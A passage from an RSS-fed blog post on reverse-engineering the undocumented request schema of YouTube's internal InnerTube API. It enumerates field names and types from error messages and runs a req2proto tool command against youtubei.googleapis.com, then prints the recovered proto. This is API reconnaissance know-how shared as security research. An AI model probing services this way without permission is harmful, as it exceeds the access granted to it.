    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;context&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1<span class="hljs-char escape_">\n</span>Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), 2<span class="hljs-char escape_">\n</span>Invalid value at &#x27;params&#x27; (TYPE_STRING), 3<span class="hljs-char escape_">\n</span>Invalid value at &#x27;continuation&#x27; (TYPE_STRING), 7<span class="hljs-char escape_">\n</span>Invalid value at &#x27;force_ad_format&#x27; (TYPE_STRING), 8<span class="hljs-char escape_">\n</span>Invalid value at &#x27;player_request&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10<span class="hljs-char escape_">\n</span>Invalid value at &#x27;query&#x27; (TYPE_STRING), 11<span class="hljs-char escape_">\n</span>Invalid value at &#x27;has_external_ad_vars&#x27; (TYPE_BOOL), 12<span class="hljs-char escape_">\n</span>Invalid value at &#x27;force_ad_parameters&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13<span class="hljs-char escape_">\n</span>Invalid value at &#x27;previous_ad_information&#x27; (TYPE_STRING), 14<span class="hljs-char escape_">\n</span>Invalid value at &#x27;offline&#x27; (TYPE_BOOL), 15<span class="hljs-char escape_">\n</span>Invalid value at &#x27;unplugged_sort_filter_options&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16<span class="hljs-char escape_">\n</span>Invalid value at &#x27;offline_mode_forced&#x27; (TYPE_BOOL), 17<span class="hljs-char escape_">\n</span>Invalid value at &#x27;form_data&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18<span class="hljs-char escape_">\n</span>Invalid value at &#x27;suggest_stats&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19<span class="hljs-char escape_">\n</span>Invalid value at &#x27;lite_client_request_data&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20<span class="hljs-char escape_">\n</span>Invalid value at &#x27;unplugged_browse_options&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22<span class="hljs-char escape_">\n</span>Invalid value at &#x27;consistency_token&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23<span class="hljs-char escape_">\n</span>Invalid value at &#x27;intended_deeplink&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24<span class="hljs-char escape_">\n</span>Invalid value at &#x27;android_extended_permissions&#x27; (TYPE_BOOL), 25<span class="hljs-char escape_">\n</span>Invalid value at &#x27;browse_notification_params&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26<span class="hljs-char escape_">\n</span>Invalid value at &#x27;recent_user_event_infos&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28<span class="hljs-char escape_">\n</span>Invalid value at &#x27;detected_activity_info&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30&quot;</span>,
    ...
}</span></code></pre><p>We can find every non-integer parameter this way. We can then send only booleans instead to find all non-boolean parameters (including integer parameters). We can repeat this for nested messages to find the entire possible request payload.</p>
<p>To simplify this process, I wrote a Go tool called <a href="https://github.com/ddd/req2proto" target="_blank" rel="noopener noreferrer">req2proto</a> which we can use to automate this.</p>
<pre><code class="hljs language-bash">$ git <span class="hljs-built_in">clone</span> https://github.com/ddd/req2proto
$ go build <span class="hljs-comment"># this requires golang to be installed, see https://go.dev/doc/install</span>
$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3 -v</code></pre><p>If we look at <code>output/youtube/api/pfiinnertube/message.proto</code>, we can see the full request proto for this endpoint:</p>
<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> youtube.api.pfiinnertube;

<span class="hljs-keyword">message </span><span class="hljs-title class_">GetBrowseRequest</span> {
  InnerTubeContext context = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> browse_id = <span class="hljs-number">2</span>;
  <span class="hljs-type">string</span> params = <span class="hljs-number">3</span>;
  <span class="hljs-type">string</span> continuation = <span class="hljs-number">7</span>;
  <span class="hljs-type">string</span> force_ad_format = <span class="hljs-number">8</span>;
  <span class="hljs-type">int32</span> debug_level = <span class="hljs-number">9</span>;
  PlayerRequest player_request = <span class="hljs-number">10</span>;
  <span class="hljs-type">string</span> query = <span class="hljs-number">11</span>;
  <span class="hljs-type">bool</span> has_external_ad_vars = <span class="hljs-number">12</span>;
  ForceAdParameters force_ad_parameters = <span class="hljs-number">13</span>;
  <span class="hljs-type">string</span> previous_ad_information = <span class="hljs-number">14</span>;
  <span class="hljs-type">bool</span> offline = <span class="hljs-number">15</span>;
  UnpluggedSortFilterOptions unplugged_sort_filter_options = <span class="hljs-number">16</span>;
  <span class="hljs-type">bool</span> offline_mode_forced = <span class="hljs-number">17</span>;
  BrowseFormData form_data = <span class="hljs-number">18</span>;
  SearchboxStats suggest_stats = <span class="hljs-number">19</span>;
  LiteClientRequestData lite_client_request_data = <span class="hljs-number">20</span>;
  UnpluggedBrowseOptions unplugged_browse_options = <span class="hljs-number">22</span>;
  ConsistencyToken consistency_token = <span class="hljs-number">23</span>;
  DeeplinkData intended_deeplink = <span class="hljs-number">24</span>;
  <span class="hljs-type">bool</span> android_extended_permissions = <span class="hljs-number">25</span>;
  BrowseNotificationsParams browse_notification_params = <span class="hljs-number">26</span>;
  <span class="hljs-type">int32</span> installed_sharing_service_ids = <span class="hljs-number">27</span>;
  RecentUserEventInfo recent_user_event_infos = <span class="hljs-number">28</span>;
  InlineSettingStatus inline_setting_status = <span class="hljs-number">29</span>;
  DetectedActivityInfo detected_activity_info = <span class="hljs-number">30</span>;
  BrowseRequestContext browse_request_context = <span class="hljs-number">31</span>;
  DeviceContextEvent device_context_info = <span class="hljs-number">32</span>;
  BrowseRequestSupportedMetadata browse_request_supported_metadata = <span class="hljs-number">33</span>;
  <span class="hljs-type">string</span> target_id = <span class="hljs-number">35</span>;
  MySubsSettingsState subscription_settings_state = <span class="hljs-number">36</span>;
  MdxContext mdx_context = <span class="hljs-number">37</span>;
  CustomTabContext custom_tab_context = <span class="hljs-number">38</span>;
  ProducerAssetRequestData producer_asset_request_data = <span class="hljs-number">39</span>;
  LatestContainerItemEventsInfo latest_container_item_events_info = <span class="hljs-number">40</span>;
  ScrubContinuationClientData scrub_continuation_client_data = <span class="hljs-number">41</span>;
}
...</code></pre><p>That&#39;s all for now! Happy hacking and feel free to reach out to me if you have any questions.</p>
]]></content:encoded>
            <author>Arvin Shivram</author>
            <enclosure url="https://brutecat.com/assets/decoding-google.jpeg" length="0" type="image/jpeg"/>
        </item>
    </channel>
</rss>